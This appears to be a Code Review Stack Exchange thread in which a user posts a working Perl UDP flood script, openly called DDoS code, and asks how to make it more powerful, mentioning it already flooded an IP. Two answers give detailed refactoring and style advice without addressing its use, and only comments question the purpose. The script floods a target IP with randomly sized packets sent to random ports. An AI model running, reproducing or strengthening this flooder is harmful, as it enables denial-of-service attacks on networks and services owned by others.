3
\$\begingroup\$

I am trying to make a DDoS code, and here's what I have so far. I am trying to make it more efficient and powerful, just for testing purposes. I'm new, and I was wondering if I could do that. Is there any way to make this better?

My code DDoS'ed the specific IP address until right now.

#####################################################
# DDOS.
######################################################

use Socket;
use strict;
use Getopt::Long;
use Time::HiRes qw( usleep gettimeofday ) ;

our $port = 0;
our $size = 0;
our $time = 0;
our $bw   = 0;
our $help = 0;
our $delay= 0;

GetOptions(
    "port=i" => \$port,     # UDP port to use, numeric, 0=random
"size=i" => \$size,     # packet size, number, 0=random
    "bandwidth=i" => \$bw,      # bandwidth to consume
"time=i" => \$time,     # time to run
    "delay=f"=> \$delay,        # inter-packet delay
"help|?" => \$help);        # help
    
my ($ip) = @ARGV;

if ($bw && $delay) {
  print;
  $size = int($bw * $delay / 8);
} elsif ($bw) {
  $delay = (8 * $size) / $bw;
}

$size = 256 if $bw && !$size;

($bw = int($size / $delay * 8)) if ($delay && $size);

my ($iaddr,$endtime,$psize,$pport);
$iaddr = inet_aton("$ip") or die "";
$endtime = time() + ($time ? $time : 1000000);
socket(flood, PF_INET, SOCK_DGRAM, 17);

($size ? "$size-byte" : "") . " " . ($time ? "" : "") . "\033[1;32m\033[0m\n\n";
print "Interpacket delay $delay msec\n" if $delay;
print "total IP bandwidth $bw kbps\n" if $bw;

die "Invalid packet size: $size\n" if $size && ($size < 64 || $size > 1500);
$size -= 28 if $size;
for (;time() <= $endtime;) {
  $psize = $size ? $size : int(rand(1024-64)+64) ;
  $pport = $port ? $port : int(rand(65500))+1;

  send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
  usleep(1000 * $delay) if $delay;
}
\$\endgroup\$
3
  • \$\begingroup\$ Quote from DDoS Attack Scripts : "Not all DDoS scripts are developed to be malicious. In fact, some are written by white hat hackers as proof of concept (POC) for a newly discovered vulnerability—proving its existence to promote better security practices. However, such scripts are often repurposed for malicious reasons. " What do you plan to use the script for? \$\endgroup\$ Commented Mar 25, 2021 at 11:15
  • \$\begingroup\$ I never want to use this DDoS script for malicious purposes, I just want to know If I can make one, and I was wondering if you had any suggestion how I can improve it? I'm just doing it for fun and just to try. \$\endgroup\$ Commented Mar 26, 2021 at 12:14
  • \$\begingroup\$ @HåkonHægland A seemingly innocent question on how to improve the speed of parsing strings may as well be used in a larger malicious code. \$\endgroup\$ Commented Mar 12, 2024 at 11:22

2 Answers 2

4
\$\begingroup\$

Overview

It is great that you:

  • Used strict
  • Leveraged other people's code by using several modules

Documentation

The code needs usage documentation.
You did provide a -help option, but it does not show any usage information.

The standard way to document code in Perl is to use plain old documentation (POD) in conjunction with the Pod::Usage module.

The POD should include:

  • Summary of the code's purpose
  • A description of the required input (IP address)
  • A description for each command line option
  • A few examples of common usage

Warnings

Perl code should always enable warnings:

use warnings;

Doing so yields this warning message:

Unquoted string "flood" may clash with future reserved word

It is a good practice to use a lexical variable instead of a bareword (flood):

my $flood

Namespace

It is best to import only what is needed to avoid namespace pollution. For example, change:

use Getopt::Long;

to:

use Getopt::Long qw(GetOptions);

Also, since the gettimeofday function is not used, there is no need to import it. Simply use:

use Time::HiRes qw(usleep);

Indentation

Add indentation to all of the GetOptions lines:

GetOptions(
    "port=i"      => \$port,     # UDP port to use, numeric, 0=random
    "size=i"      => \$size,     # packet size, number, 0=random
    "bandwidth=i" => \$bw,       # bandwidth to consume
    "time=i"      => \$time,     # time to run
    "delay=f"     => \$delay,    # inter-packet delay
    "help|?"      => \$help,     # help 
);                               

Use 4-space indentation everywhere instead of 2-space.

perltidy can be used to automatically apply consistent formatting to your code.

Linting

perlcritic identifies some style issues.

Use my instead of our to declare variables.

Use single quotes instead of double quotes where possible to avoid useless variable interpolation.

Use underscores for large numbers: 1_000_000, 65_500

Miscellany

Add a meaningful message, instead of an empty string, to die:

die ""

Check the return value of the GetOptions function. Typically, the code should die if the function did not succeed.

This print statement seems out of place and should probably be removed:

print;

There is no need for parentheses around this assignment:

($bw = int($size / $delay * 8)) if ($delay && $size);

This is simpler:

$bw = int($size / $delay * 8) if ($delay && $size);
\$\endgroup\$
4
\$\begingroup\$

Prefer my to our

You don't name your package. As a result, there is not much point to using our to declare your variables. Consider using my instead, to scope your variables locally and not expose them to other packages.

Don't repeat yourself (DRY)

if ($bw && $delay) {
  print;
  $size = int($bw * $delay / 8);
} elsif ($bw) {
  $delay = (8 * $size) / $bw;
}

$size = 256 if $bw && !$size;

You check if $bw is falsey three times in this code.

if ($bandwidth) {
    if ($delay) {
      print;
      $size = int($bandwidth * $delay / 8);
    } else {
      $delay = (8 * $size) / $bandwidth;
    }
    
    $size = 256 if !$size;
}

This only checks once.

I changed $bw to $bandwidth as more readable. In general, you should expect to read your code far more often than you write it. If you came back to this code in six months, would it be immediately obvious to you that bw was an abbreviation of bandwidth? Probably not. But $bandwidth would be clear.

You might also consider comparing to zero. Because if $bandwidth or $delay were negative, weird things would happen.

Another criticism of this code is that you reset $size even if it already has a valid value. You should probably only change it if size is not passed as an option.

It's not immediately clear that 8 is the number of bits in a byte. You might consider using a constant for this instead so as to make that clear.

Fail fast

die "Invalid packet size: $size\n" if $size && ($size < 64 || $size > 1500);

The last time you modify $size before this was

    $size = 256 if !$size;

So put the die immediately after the block where that occurs. Then if you have an invalid packet size, you won't waste your time trying to open a socket that you never use nor continue processing the arguments. You'll fail immediately with a descriptive message and can fix your parameters.

Perlisms

$endtime = time() + ($time ? $time : 1000000);

You use ?: several times this way, but it is unnecessary. This could be

$endtime = time() + ($time or 1000000);

Then you don't have to keep writing out $time twice.

\$\endgroup\$

You must log in to answer this question.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.